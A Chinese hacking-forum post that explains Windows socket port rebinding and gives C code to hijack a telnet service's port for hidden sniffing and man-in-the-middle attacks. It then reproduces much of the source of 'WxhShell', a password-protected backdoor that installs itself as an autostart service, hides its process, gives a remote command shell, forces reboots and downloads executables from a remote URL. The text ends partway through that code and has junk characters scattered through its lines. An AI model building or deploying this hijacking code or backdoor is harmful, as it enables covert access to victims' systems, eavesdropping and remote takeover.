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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~jDf,a2  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &at>sQ'  
c$b~? Mx  
  saddr.sin_family = AF_INET; {N'<_%cu  
~fY\;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 'j 'G4P_G  
-n~%v0D8c  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); < gu>06  
O%*:fd,o-  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -W.bOr  
Wo+^R%K' 4  
  这意味着什么?意味着可以进行如下的攻击: Y^-D'2P]P  
"/0Vvy_|  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 L7PM am  
W_RN@O  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,lb >  
^2 \-zX!bt  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 k<QZ_*x}G  
f?W"^6Df  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5KC Zg'h  
*_H^]wNJG  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 M~P h/  
6L,"gF<n  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 s7"5NU-  
s}g3*_"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 tf4clzSTa  
]:}x 4O#  
  #include 6oy[0hj  
  #include *yqke<o9)  
  #include Wo7`gf_(  
  #include    5 Mz6/&`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   vE C#W43l  
  int main() .Zm de*b  
  { *^i"q\n5(  
  WORD wVersionRequested; 1HBWOV7z.?  
  DWORD ret; bEB9J- Q  
  WSADATA wsaData; +O!4~k^  
  BOOL val; 8 Az|SJ<  
  SOCKADDR_IN saddr; {Y1&GO;  
  SOCKADDR_IN scaddr; I]6,hygs  
  int err; $ 9 k5a  
  SOCKET s; 8c5=Px2\  
  SOCKET sc; +@qIDUiF3  
  int caddsize; D8\9nHUD`  
  HANDLE mt; 7g-{ <d  
  DWORD tid;   ;YY nIb(  
  wVersionRequested = MAKEWORD( 2, 2 ); sfzDE&>'  
  err = WSAStartup( wVersionRequested, &wsaData ); 0 `$fs.4c  
  if ( err != 0 ) { Z=9gok\  
  printf("error!WSAStartup failed!\n"); &}!AjA)  
  return -1; SlI wLv^  
  } uxbLoE  
  saddr.sin_family = AF_INET; K:b^@>XH  
   #+(@i|!ifo  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 N ,nvAM  
6[\1Nzy>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \JDxN  
  saddr.sin_port = htons(23); $%.,=~W7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j026CVL  
  { [ @9a  
  printf("error!socket failed!\n"); @B Muov  
  return -1; =F/EzS  
  } / 5y _ <  
  val = TRUE; V>& 1;n  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Yd]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) IubzHf  
  { z LZ HVvL3  
  printf("error!setsockopt failed!\n"); ?$.x%G+  
  return -1; cf%aOHYI*  
  } E'^ny4gL  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8u7QF4 Id  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 DqA$%b yyE  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 FB2{qG3  
o]@'R<F(u  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) cK\'D  
  { @`XbM7D 5  
  ret=GetLastError(); ;^cMP1SH  
  printf("error!bind failed!\n"); t@!A1Vr@  
  return -1; &"d :+!4h  
  } G6pR?K+  
  listen(s,2); iz3Hoj  
  while(1) C=(~[Y  
  { ";TqYk=-  
  caddsize = sizeof(scaddr); k,LaFe`W  
  //接受连接请求 7ea%mg\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &(h@]F!  
  if(sc!=INVALID_SOCKET) L~*nI d  
  { T@mYHKu  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Mo]aB:a  
  if(mt==NULL) !im%t9  
  { y(X^wC  
  printf("Thread Creat Failed!\n"); zI CAV -&  
  break; Daq lL  
  } 6W9lKD_i  
  } /$^SiE+N  
  CloseHandle(mt); {v*X}`.h  
  } H/l,;/q]b  
  closesocket(s); lcXo>  
  WSACleanup();  `l  
  return 0; dQ Lo,S8(  
  }   Kl]l[!c7$  
  DWORD WINAPI ClientThread(LPVOID lpParam) \qJ cs'D  
  { r=#v@]z B  
  SOCKET ss = (SOCKET)lpParam; `$ pJ2S  
  SOCKET sc; F]cc?r312  
  unsigned char buf[4096]; *iV#_  
  SOCKADDR_IN saddr; qdo_YPG  
  long num; ,15$$3z/E  
  DWORD val; zS '{F>w  
  DWORD ret; ! q+>'Mt  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]CX^!n  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -qG7,t  
  saddr.sin_family = AF_INET; 1;HL=F  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 2]}e4@{  
  saddr.sin_port = htons(23); mh35S!I3I^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `HILsU=|  
  { {BZ0x2  
  printf("error!socket failed!\n"); 5")BCA  
  return -1; d>wG6Z,|  
  } :3D[~-/S  
  val = 100; cd] X5)$h  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dTqL[?wH?  
  { xP &@|Ag  
  ret = GetLastError(); W?0u_F  
  return -1; Hk?E0.  
  } y1#QP3'Z1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2[Xe:)d  
  { 06I(01M1   
  ret = GetLastError(); USH>`3  
  return -1; +1Pu29B0  
  } G$s=P  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) g_?bWm4br  
  { ,irc=0M(  
  printf("error!socket connect failed!\n"); 4"eeEs h  
  closesocket(sc); hA+;eXy/  
  closesocket(ss); M1I4Ot  
  return -1; tDtqTB}  
  } Qm4cuV-0{  
  while(1)  /UtSZ(  
  { @'"7[k!y;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 le2 v"Y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 c+jnQM'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :fQN_*B4@4  
  num = recv(ss,buf,4096,0); Fl++rUT  
  if(num>0) p<&dy^mS  
  send(sc,buf,num,0); N|w;wF!3  
  else if(num==0) Rk}=SB-  
  break; `tm(3pJ  
  num = recv(sc,buf,4096,0); Y^gIvX  
  if(num>0) j&0t!f.Rv  
  send(ss,buf,num,0); <<6gsKP  
  else if(num==0) L>!MEMqm  
  break; 1wW4bg 5  
  } c}w[ T  
  closesocket(ss); [yVcH3GcjI  
  closesocket(sc); 'h 7n}  
  return 0 ; cyWDtq  
  } kS_3 7-;  
3Z74&a$  
]o`FF="at  
========================================================== ar@ysBy  
M+lI,j+  
下边附上一个代码,,WXhSHELL #J%Fi).^)  
[Rzn>  
========================================================== [}y"rs`!  
kLbo |p"cT  
#include "stdafx.h" h|ja67VG  
@@|H8mP}H  
#include <stdio.h> 3A el  
#include <string.h> HK<oNr.d52  
#include <windows.h> >c.HH}O0W  
#include <winsock2.h> 6H:EBj54?  
#include <winsvc.h> {=_xze)  
#include <urlmon.h> Y 4*?QBYA  
*'R2Lo<C  
#pragma comment (lib, "Ws2_32.lib") >IHf5})R  
#pragma comment (lib, "urlmon.lib") #DcK{|ty  
Xa[lX8$zL  
#define MAX_USER   100 // 最大客户端连接数 HA. O"A8`  
#define BUF_SOCK   200 // sock buffer bc\?y2 3  
#define KEY_BUFF   255 // 输入 buffer ~q{QquYV  
l%7^'nDn  
#define REBOOT     0   // 重启 n7d`J_%s  
#define SHUTDOWN   1   // 关机 yj9 Ad*.  
+ID% (:  
#define DEF_PORT   5000 // 监听端口 kYkck]|  
u!cA_,  
#define REG_LEN     16   // 注册表键长度 T\L LOx\  
#define SVC_LEN     80   // NT服务名长度 iD2>-yf  
jce2lXMm  
// 从dll定义API r5&?-G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V _pKe~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5<?/M<i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5v#_2Ih  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {4b8s%:!4  
<nn!9V\C   
// wxhshell配置信息 RQ[6svfP  
struct WSCFG { e6^iakSd.L  
  int ws_port;         // 监听端口 uB 35CRd  
  char ws_passstr[REG_LEN]; // 口令 i%9xt1c_  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,y/N^^\  
  char ws_regname[REG_LEN]; // 注册表键名 +6 x:+9S  
  char ws_svcname[REG_LEN]; // 服务名 ^os|yRzV*M  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ow,=M%x"0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +#ANc;2g  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ; ,:w % .  
int ws_downexe;       // 下载执行标记, 1=yes 0=no LzkwgcR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  [T#9#3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NGb\e5?  
_xU2C<)1&  
}; WG3 .qLH%  
g [+_T{  
// default Wxhshell configuration xr-v"-  
struct WSCFG wscfg={DEF_PORT, j es[a  
    "xuhuanlingzhe", cGe-|>:  
    1, JU0|pstf  
    "Wxhshell", )L:p.E  
    "Wxhshell", u< .N\/  
            "WxhShell Service", X3rvM8  
    "Wrsky Windows CmdShell Service", O.+X,CQG*  
    "Please Input Your Password: ", gNzamorv[  
  1, \+sP<'~M  
  "http://www.wrsky.com/wxhshell.exe", :KJZo,\  
  "Wxhshell.exe" N^K@$bs4^  
    }; Hsz).u  
'} LAZQ"  
// 消息定义模块 !Ql&Ls  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I;Bcim;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; OAtn.LU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *|k/lI  
char *msg_ws_ext="\n\rExit."; i fbO<  
char *msg_ws_end="\n\rQuit."; D[}qhDlX  
char *msg_ws_boot="\n\rReboot..."; VcR(9~  
char *msg_ws_poff="\n\rShutdown..."; M]OZS\9.B  
char *msg_ws_down="\n\rSave to "; *1 l"|=_&s  
BA|*V[HBE  
char *msg_ws_err="\n\rErr!"; `1"Xj ^ YM  
char *msg_ws_ok="\n\rOK!"; w B[H &  
yTL<S'  
char ExeFile[MAX_PATH]; =qVD"Z]z  
int nUser = 0; Ndr4e?Xa,  
HANDLE handles[MAX_USER]; .\+%Q)?h:  
int OsIsNt; '; Z!(r  
`@|Kx\y4=j  
SERVICE_STATUS       serviceStatus; Smlf9h&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }F4   
*^P$^lm?S  
// 函数声明 t.WWahNyY  
int Install(void); w"K;e(S  
int Uninstall(void); 4E DwZR>./  
int DownloadFile(char *sURL, SOCKET wsh); KN9e""  
int Boot(int flag); S?Z"){  
void HideProc(void); vS'5Lm  
int GetOsVer(void); ,\n%e'  
int Wxhshell(SOCKET wsl); A&6qt  
void TalkWithClient(void *cs); C| Vz `FY  
int CmdShell(SOCKET sock); o2M4?}TpIV  
int StartFromService(void); Y:} !W  
int StartWxhshell(LPSTR lpCmdLine); \@HsMV2+zN  
" tUF,G(<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ykd< }KE>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =HkB>w)h  
x4vowF  
// 数据结构和表定义 ..hD_k  
SERVICE_TABLE_ENTRY DispatchTable[] = _lj&}>l  
{ /NFcIU  
{wscfg.ws_svcname, NTServiceMain}, &*wc` U  
{NULL, NULL} Da"GYEC  
}; +_LWN8F  
W{v-(pW  
// 自我安装 ;J3 (EB  
int Install(void) t!,GI&  
{ c*#*8R9.y  
  char svExeFile[MAX_PATH]; @d86l.=  
  HKEY key; B`SHr"k!V[  
  strcpy(svExeFile,ExeFile); THbV],RhJ  
Pe_FW8e#J  
// 如果是win9x系统,修改注册表设为自启动 'u{DFMB-A  
if(!OsIsNt) { d]6#pSE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Lk~aM bw#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }\Mmp+<  
  RegCloseKey(key); >'X[*:Cx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 60 z =bd]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  <c &6M  
  RegCloseKey(key); Zr.6J*&!  
  return 0; `upxM0gc  
    } <..|:0Q&~  
  } 1v^eXvY  
} \E<t'\>@X  
else { [10;Mg  
UI>?"b6 L  
// 如果是NT以上系统,安装为系统服务 uY6|LTK&x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); APA:K9jD  
if (schSCManager!=0) ;<=B I!  
{ ~'9>jpnw  
  SC_HANDLE schService = CreateService Ev7fvz =  
  ( .j)f'<;%  
  schSCManager, b:w {7  
  wscfg.ws_svcname, ZNEWUt{+;^  
  wscfg.ws_svcdisp, M'4$z^@Z  
  SERVICE_ALL_ACCESS, qJZ5w }  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7pY7iR_  
  SERVICE_AUTO_START, fmhqm"  
  SERVICE_ERROR_NORMAL, x)<Hr,wd  
  svExeFile, w_hGWpm  
  NULL, 8#MiM . f  
  NULL, ]wQ#8}zO  
  NULL, BL^8gtdn  
  NULL, Z `)}1|~B  
  NULL M[@=m[#a  
  ); _a 40lcP  
  if (schService!=0) S EeDq/h  
  { vF,iHzv  
  CloseServiceHandle(schService); WTcrfs)T  
  CloseServiceHandle(schSCManager); _s_%}8o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _V`Gmy[]p  
  strcat(svExeFile,wscfg.ws_svcname); PnKgUJoa0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #&cNR_"w  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); eaxp(VX?oy  
  RegCloseKey(key); /bd1Bi  
  return 0; > v~?Vd(  
    } fQ,L~:Y =  
  } AGe\PCn-  
  CloseServiceHandle(schSCManager); 6?3f+=e"~!  
} f/Lyc=- ]  
} !A\Qwg>  
2V 1|b`b#4  
return 1; kT+Idu  
} ; SS/bS|  
n8.W$&-ia  
// 自我卸载 v{Rj,Ou  
int Uninstall(void) : ;nvqbd  
{ 1$*ZN4  
  HKEY key; VR@V3 ~  
#xMl<  
if(!OsIsNt) { H 40~i=.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hw@ `Q@  
  RegDeleteValue(key,wscfg.ws_regname); a&Stdh  
  RegCloseKey(key); FSs<A@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tR,&|?0  
  RegDeleteValue(key,wscfg.ws_regname);  IwfJDJJ  
  RegCloseKey(key); 5p.vo"7  
  return 0; 9Dq^x&z(  
  } b=5"*=T{+  
} <@DF0x!  
} ID-Y*  
else { zJH#J=O  
}-ly'4=l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wN|;_~h2  
if (schSCManager!=0) }, < dGmkx  
{ 5cv&`h8uo_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]Kutuf$t  
  if (schService!=0) X7cqAi  
  { /Ria"lLv  
  if(DeleteService(schService)!=0) { H+ P&} 3  
  CloseServiceHandle(schService); ,eI2#6w|C  
  CloseServiceHandle(schSCManager); A)2eo<ij4  
  return 0; ^~3u|u  
  } ^ZxT0oaL  
  CloseServiceHandle(schService); (;9-8Y&_d  
  } kq{PM-]l  
  CloseServiceHandle(schSCManager); X 5.%e&`  
} r%craf  
} kBh*@gf  
Lp|7s8?  
return 1; {Dc{e5K  
} tJ"8"T#6Vr  
~rUcko8  
// 从指定url下载文件 w$XqxI/&  
int DownloadFile(char *sURL, SOCKET wsh) \]j{  
{ ,P%a0\  
  HRESULT hr; 5f~49(v]  
char seps[]= "/"; UA BaS(f3  
char *token; ~t>i+{J KE  
char *file; %nRz~3X|+v  
char myURL[MAX_PATH]; M$jU-;hRH  
char myFILE[MAX_PATH]; qZV.~F+  
8h.Dc&V  
strcpy(myURL,sURL); C[-M ~yIL  
  token=strtok(myURL,seps); ]O^C'GzZ  
  while(token!=NULL) [Yq*DkW  
  { U_&v|2o#3  
    file=token; u l-A'  
  token=strtok(NULL,seps); z]twh&^1L  
  } 33M10 1X{6  
LX!MDZz  
GetCurrentDirectory(MAX_PATH,myFILE); nlq"OzcH04  
strcat(myFILE, "\\"); 1ti9FQ  
strcat(myFILE, file); <o aVI?  
  send(wsh,myFILE,strlen(myFILE),0); -p-<mC@<&S  
send(wsh,"...",3,0); oMUyP~1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \#hp,XV>  
  if(hr==S_OK) \FL`b{!+ N  
return 0; U2DE zr  
else ,ix>e  
return 1; +kj d;u#  
Ec/-f `8  
} s|O4 >LsG  
A*a:#'"*N  
// 系统电源模块 tLD(%s_  
int Boot(int flag) UNC%<=  
{ zz7#g U  
  HANDLE hToken;  j1sgvh]D  
  TOKEN_PRIVILEGES tkp; H wu (}  
}vXf}2C  
  if(OsIsNt) { 8%,u~ELA  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &~ .n}h&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1UwpLd  
    tkp.PrivilegeCount = 1; g{U?Y"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fJdTVs@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :W6R]y  
if(flag==REBOOT) { OngUZMgdb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }R\;htmc;  
  return 0; 6$y$ VeW  
} px~:'U  
else { 8ED}!;ZU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _KSlIgQ }0  
  return 0; O~bJ<O=?  
} d"#& VlKcv  
  } $psPNJG  
  else { iYR`|PJi  
if(flag==REBOOT) { vk K8D#K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -SeHz.` N  
  return 0; j}F;Bfq!  
} 'X(Sn3  
else { )N}.n2Y8W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) enB 2-)< K  
  return 0; 0V!@*Z  
} 1m\ihU  
} L_(Y[!  
/@xL {  
return 1; }48 o{\  
} 4Mr)~f rc  
TMAart; <  
// win9x进程隐藏模块 <)4>"SN&^  
void HideProc(void) ZhnRsn9  
{ \1[v-hvK  
%&\DCAFk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); CWx_9b zk  
  if ( hKernel != NULL ) 1_MaaA;ow"  
  { FXO{i:Zo  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^Sj*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b[;Zl<  
    FreeLibrary(hKernel); >@+ r|  
  } 227 Z6#CF!  
34s>hm=0.  
return; lDF26<<\`  
} Q~#[_Upkc  
bG&vCH;}%  
// 获取操作系统版本 cjyb:gAO  
int GetOsVer(void) whb,2=gIE  
{ EhK~S(r^  
  OSVERSIONINFO winfo; -5.~POO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -h1FrDBt  
  GetVersionEx(&winfo); jB-wJNP/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =Xu(Js-  
  return 1; LAcK%  
  else e,I{+ ^P  
  return 0; jdW#; ]7+y  
} a,~}G'U  
|:G`f8q9  
// 客户端句柄模块 r}~|,O3bc'  
int Wxhshell(SOCKET wsl) fNNik7  
{ [&H?--I  
  SOCKET wsh; ~RIn7/A  
  struct sockaddr_in client; :j4i(qcF  
  DWORD myID; QCVwslj,K  
lgei<\6~n5  
  while(nUser<MAX_USER) :^ *9E b  
{ y+K21(z.  
  int nSize=sizeof(client); x39n7+j4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); XJ9l, :c,  
  if(wsh==INVALID_SOCKET) return 1; ZW>?y$C+  
v.pj PBU1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x"xtILrI  
if(handles[nUser]==0) Sh2;^6d  
  closesocket(wsh); J2P5<  
else elw}(l<F  
  nUser++; E])X$:P?  
  } WTZr{)e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }2i3  
@o6^"  
  return 0; 53jtwklA  
} o;<oXv  
MF%>avRj  
// 关闭 socket &f$[>yg1-  
void CloseIt(SOCKET wsh) Kk t9M\  
{ -f!oq7U  
closesocket(wsh); +ziQ]r2g  
nUser--; {8a s _  
ExitThread(0); kTe0"  
} ;.wWw" )  
km+}./@  
// 客户端请求句柄 qGgqAF#B  
void TalkWithClient(void *cs) l: X]$2;  
{ u%`4;|tI  
S/l?wwD  
  SOCKET wsh=(SOCKET)cs; 5 qW*/  
  char pwd[SVC_LEN]; yg-uL48q  
  char cmd[KEY_BUFF]; {2,OK=XM|  
char chr[1]; <u9U%V si  
int i,j; SOPQg?'n=V  
rBUdHd9  
  while (nUser < MAX_USER) { F 6 xQ`T|  
E*_lT`Hzf  
if(wscfg.ws_passstr) { ,'69RL?-Wg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wt@q+9:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s]p3dB#  
  //ZeroMemory(pwd,KEY_BUFF); zXHCP.Rmg  
      i=0; zFtRsa5 +  
  while(i<SVC_LEN) { Y"U -Rc  
X(;,-7Jw  
  // 设置超时 i1#\S0jN  
  fd_set FdRead; fy`e)?46  
  struct timeval TimeOut; C$1}c[  
  FD_ZERO(&FdRead); e2v[ma-  
  FD_SET(wsh,&FdRead); 9V%s1@K  
  TimeOut.tv_sec=8; Ba],ONM4k  
  TimeOut.tv_usec=0; *CH lg1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <Eo; CaaF/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >|[74#}7  
MOIH%lpe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z ?{;|Z5  
  pwd=chr[0]; b%fn1Ag9  
  if(chr[0]==0xd || chr[0]==0xa) { aiKZ$KLC  
  pwd=0; hl[!4#b]K  
  break; JKkR963 O  
  } fdD?"z  
  i++; ZMHb  
    } d2x|PpmH  
<E(#;F^y  
  // 如果是非法用户,关闭 socket x_JCH7-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EEaf/D/jt  
} 2B# ]z  
,4-)  e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )k.[Ve  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'wd-!aZAd  
SY` U]-h  
while(1) { A(mU,^  
"(hhb>V1Wl  
  ZeroMemory(cmd,KEY_BUFF); <.0-K_  
%s;#epP$  
      // 自动支持客户端 telnet标准   XM$HHk}L;  
  j=0; Q`qHzb~%  
  while(j<KEY_BUFF) { TvE M{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S3[rv  
  cmd[j]=chr[0]; +oZq~2?*S6  
  if(chr[0]==0xa || chr[0]==0xd) { XF{ g~M  
  cmd[j]=0; Xz'pZ*Hr$v  
  break; ?Mg&e/^  
  } () Z!u%j  
  j++; `5:Wv b>|  
    } =8r%zLDw  
ey@]B5  
  // 下载文件 3%] %c6  
  if(strstr(cmd,"http://")) { $/aZ/O)F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xq2{0q  
  if(DownloadFile(cmd,wsh)) SSKn7`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &i8AB{OU  
  else Y. ]FVq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4+od N.  
  } 1Z?en  
  else { krPwFp2[*  
)QGj\2I  
    switch(cmd[0]) { c|lo%[]R!  
  ; /fZh:V2  
  // 帮助 GNzk Vy:u  
  case '?': { $!L'ZO1_r  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ] ZGP  
    break; bu[v[U4  
  } kzG m D i  
  // 安装 {$,e@nn  
  case 'i': { :A\8#]3  
    if(Install()) }&)X4=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TC80nP   
    else /vi>@a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m]8rljo  
    break; 4tR:O#($V  
    } 5Xu2MY=  
  // 卸载 EX%KfWDr  
  case 'r': { }1P>^I"[Y  
    if(Uninstall()) |*W`}i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JzJS?ZF  
    else a$p?r3y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G[1:<Vg8  
    break; sr+* q6W  
    } Q# w`ZQX3  
  // 显示 wxhshell 所在路径 _-$"F>  
  case 'p': { %e2,p&0G  
    char svExeFile[MAX_PATH]; F_o5(`>^  
    strcpy(svExeFile,"\n\r"); { as#lHn  
      strcat(svExeFile,ExeFile); =B g  
        send(wsh,svExeFile,strlen(svExeFile),0); _jOu`1w  
    break; Y<0;;tVf4U  
    } $<.\,wW*'w  
  // 重启 bI 3o|  
  case 'b': { /s"mqBXCG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;Bk?,g  
    if(Boot(REBOOT)) TU4"7]/{M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =X[]0.I%  
    else { q~68)D(  
    closesocket(wsh); ct+ ;W  
    ExitThread(0); K,{P b?  
    } 'M>QA"*48E  
    break; LeDty_  
    } ezn%*X y,  
  // 关机 MaDdiyeC  
  case 'd': { #~l(t_m{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~Ts^z(v~D2  
